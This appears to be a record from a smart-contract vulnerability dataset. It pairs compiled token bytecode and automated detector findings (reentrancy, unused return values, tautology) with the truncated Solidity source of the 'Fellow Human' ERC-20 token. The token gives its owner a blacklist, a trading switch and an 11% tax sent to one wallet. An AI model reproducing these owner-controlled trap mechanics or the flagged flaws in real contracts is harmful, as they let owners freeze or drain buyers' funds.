815250905090565b600061040a610403610f0b565b8484610f13565b6001905092915050565b600064174876e800905090565b600061042e8484846110de565b6104ef8461043a610f0b565b6104ea85604051806060016040528060288152602001612c5a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a0610f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114159092919063ffffffff16565b610f13565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610540610f0b565b73ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600061056b30610579565b905061057681611479565b50565b60006105c3600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611701565b9050919050565b6105d2610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065690612213565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4b796f756a75726f750000000000000000000000000000000000000000000000815250905090565b61078b610f0b565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b80600a8190555050565b60006108026107fb610f0b565b84846110de565b6001905092915050565b610814610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890612213565b60405180910390fd5b60008110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc9061227f565b60405180910390fd5b8060058190555050565b6108f7610f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612213565b60405180910390fd5b600860149054906101000a900460ff16156109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906122eb565b60405180910390fd5b610a0630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1664174876e800610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa69190612320565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2a57600080fd5b505afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b629190612320565b6040518363ffffffff1660e01b8152600401610b7f92919061234d565b602060405180830381600087803b158015610b9957600080fd5b505af1158015610bad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd19190612320565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5a30610579565b600080610c6561071d565b426040518863ffffffff1660e01b8152600401610c87969594939291906123bb565b6060604051808303818588803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd99190612431565b5050506001600860166101000a81548160ff02191690831515021790555064174876e800600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dbd929190612484565b602060405180830381600087803b158015610dd757600080fd5b505af1158015610deb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0f91906124d9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eda610f0b565b73ffffffffffffffffffffffffffffffffffffffff1614610efa57600080fd5b6000479050610f088161176f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90612578565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea9061260a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d1919061205e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111459061269c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b59061272e565b60405180910390fd5b60008111611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f8906127c0565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112bb5760006112be565b60015b60ff166112cb919061280f565b11156112d657600080fd5b6112de61071d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561134c575061131c61071d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140557600860159054906101000a900460ff161580156113bc5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d45750600860169054906101000a900460ff165b15611404576113ea6113e530610579565b611479565b60004790506000811115611402576114014761176f565b5b505b5b6114108383836117db565b505050565b600083831115829061145d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114549190611f1e565b60405180910390fd5b506000838561146c9190612869565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114b1576114b061289d565b5b6040519080825280602002602001820160405280156114df5781602001602082028036833780820191505090505b50905030816000815181106114f7576114f66128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d19190612320565b816001815181106115e5576115e46128cc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164c30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f13565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116b09594939291906129b9565b600060405180830381600087803b1580156116ca57600080fd5b505af11580156116de573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612a85565b60405180910390fd5b60006117526117eb565b9050611767818461181690919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d7573d6000803e3d6000fd5b5050565b6117e6838383611860565b505050565b60008060006117f8611a2b565b9150915061180f818361181690919063ffffffff16565b9250505090565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b905092915050565b60008060008060008061187287611ae4565b9550955095509550955095506118d086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119b181611bf4565b6119bb8483611cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a18919061205e565b60405180910390a3505050505050505050565b60008060006003549050600064174876e8009050611a5964174876e80060035461181690919063ffffffff16565b821015611a745760035464174876e800935093505050611a7d565b81819350935050505b9091565b60008083118290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf9190611f1e565b60405180910390fd5b5060008385611ad79190612ad4565b9050809150509392505050565b6000806000806000806000806000611b018a600554600554611ceb565b9250925092506000611b116117eb565b90506000806000611b248e878787611d81565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611415565b905092915050565b6000808284611ba59190612b05565b905083811015611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190612ba7565b60405180910390fd5b8091505092915050565b6000611bfe6117eb565b90506000611c158284611e0a90919063ffffffff16565b9050611c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc682600354611b4c90919063ffffffff16565b600381905550611ce181600454611b9690919063ffffffff16565b6004819055505050565b600080600080611d176064611d09888a611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d416064611d33888b611e0a90919063ffffffff16565b61181690919063ffffffff16565b90506000611d6a82611d5c858c611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d9a8589611e0a90919063ffffffff16565b90506000611db18689611e0a90919063ffffffff16565b90506000611dc88789611e0a90919063ffffffff16565b90506000611df182611de38587611b4c90919063ffffffff16565b611b4c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e1d5760009050611e7f565b60008284611e2b919061280f565b9050828482611e3a9190612ad4565b14611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190612c39565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ebf578082015181840152602081019050611ea4565b83811115611ece576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ef082611e85565b611efa8185611e90565b9350611f0a818560208601611ea1565b611f1381611ed4565b840191505092915050565b60006020820190508181036000830152611f388184611ee5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f7082611f45565b9050919050565b611f8081611f65565b8114611f8b57600080fd5b50565b600081359050611f9d81611f77565b92915050565b6000819050919050565b611fb681611fa3565b8114611fc157600080fd5b50565b600081359050611fd381611fad565b92915050565b60008060408385031215611ff057611fef611f40565b5b6000611ffe85828601611f8e565b925050602061200f85828601611fc4565b9150509250929050565b60008115159050919050565b61202e81612019565b82525050565b60006020820190506120496000830184612025565b92915050565b61205881611fa3565b82525050565b6000602082019050612073600083018461204f565b92915050565b60008060006060848603121561209257612091611f40565b5b60006120a086828701611f8e565b93505060206120b186828701611f8e565b92505060406120c286828701611fc4565b9150509250925092565b600060ff82169050919050565b6120e2816120cc565b82525050565b60006020820190506120fd60008301846120d9565b92915050565b60006020828403121561211957612118611f40565b5b600061212784828501611f8e565b91505092915050565b61213981611f65565b82525050565b60006020820190506121546000830184612130565b92915050565b6000602082840312156121705761216f611f40565b5b600061217e84828501611fc4565b91505092915050565b6000806040838503121561219e5761219d611f40565b5b60006121ac85828601611f8e565b92505060206121bd85828601611f8e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121fd602083611e90565b9150612208826121c7565b602082019050919050565b6000602082019050818103600083015261222c816121f0565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612269601883611e90565b915061227482612233565b602082019050919050565b600060208201905081810360008301526122988161225c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122d5601783611e90565b91506122e08261229f565b602082019050919050565b60006020820190508181036000830152612304816122c8565b9050919050565b60008151905061231a81611f77565b92915050565b60006020828403121561233657612335611f40565b5b60006123448482850161230b565b91505092915050565b60006040820190506123626000830185612130565b61236f6020830184612130565b9392505050565b6000819050919050565b6000819050919050565b60006123a56123a061239b84612376565b612380565b611fa3565b9050919050565b6123b58161238a565b82525050565b600060c0820190506123d06000830189612130565b6123dd602083018861204f565b6123ea60408301876123ac565b6123f760608301866123ac565b6124046080830185612130565b61241160a083018461204f565b979650505050505050565b60008151905061242b81611fad565b92915050565b60008060006060848603121561244a57612449611f40565b5b60006124588682870161241c565b93505060206124698682870161241c565b925050604061247a8682870161241c565b9150509250925092565b60006040820190506124996000830185612130565b6124a6602083018461204f565b9392505050565b6124b681612019565b81146124c157600080fd5b50565b6000815190506124d3816124ad565b92915050565b6000602082840312156124ef576124ee611f40565b5b60006124fd848285016124c4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612562602483611e90565b915061256d82612506565b604082019050919050565b6000602082019050818103600083015261259181612555565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125f4602283611e90565b91506125ff82612598565b604082019050919050565b60006020820190508181036000830152612623816125e7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612686602583611e90565b91506126918261262a565b604082019050919050565b600060208201905081810360008301526126b581612679565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612718602383611e90565b9150612723826126bc565b604082019050919050565b600060208201905081810360008301526127478161270b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127aa602983611e90565b91506127b58261274e565b604082019050919050565b600060208201905081810360008301526127d98161279d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281a82611fa3565b915061282583611fa3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561285e5761285d6127e0565b5b828202905092915050565b600061287482611fa3565b915061287f83611fa3565b925082821015612892576128916127e0565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61293081611f65565b82525050565b60006129428383612927565b60208301905092915050565b6000602082019050919050565b6000612966826128fb565b6129708185612906565b935061297b83612917565b8060005b838110156129ac5781516129938882612936565b975061299e8361294e565b92505060018101905061297f565b5085935050505092915050565b600060a0820190506129ce600083018861204f565b6129db60208301876123ac565b81810360408301526129ed818661295b565b90506129fc6060830185612130565b612a09608083018461204f565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a6f602a83611e90565b9150612a7a82612a13565b604082019050919050565b60006020820190508181036000830152612a9e81612a62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612adf82611fa3565b9150612aea83611fa3565b925082612afa57612af9612aa5565b5b828204905092915050565b6000612b1082611fa3565b9150612b1b83611fa3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b5057612b4f6127e0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b91601b83611e90565b9150612b9c82612b5b565b602082019050919050565b60006020820190508181036000830152612bc081612b84565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c23602183611e90565b9150612c2e82612bc7565b604082019050919050565b60006020820190508181036000830152612c5281612c16565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad27bb50b662f5947b1b7f8a8c6df2104427588ac974c7add4e0319c18a3483864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 9,255 |
0x685f4575828c8fca63ec888a00aa95ad5d1de4e4
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
/*
https://twitter.com/elonmusk/status/1504349978487324672
Fellow Human
1.5% Max Transaction
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract musktokencontract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fellow Human";
string private constant _symbol = "Fellow Human";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xE0A64aFF1bA3Da5397D9D6872bf8D7E3c3A20193);
address payable private _marketingAddress = payable(0xE0A64aFF1bA3Da5397D9D6872bf8D7E3c3A20193);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 50000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
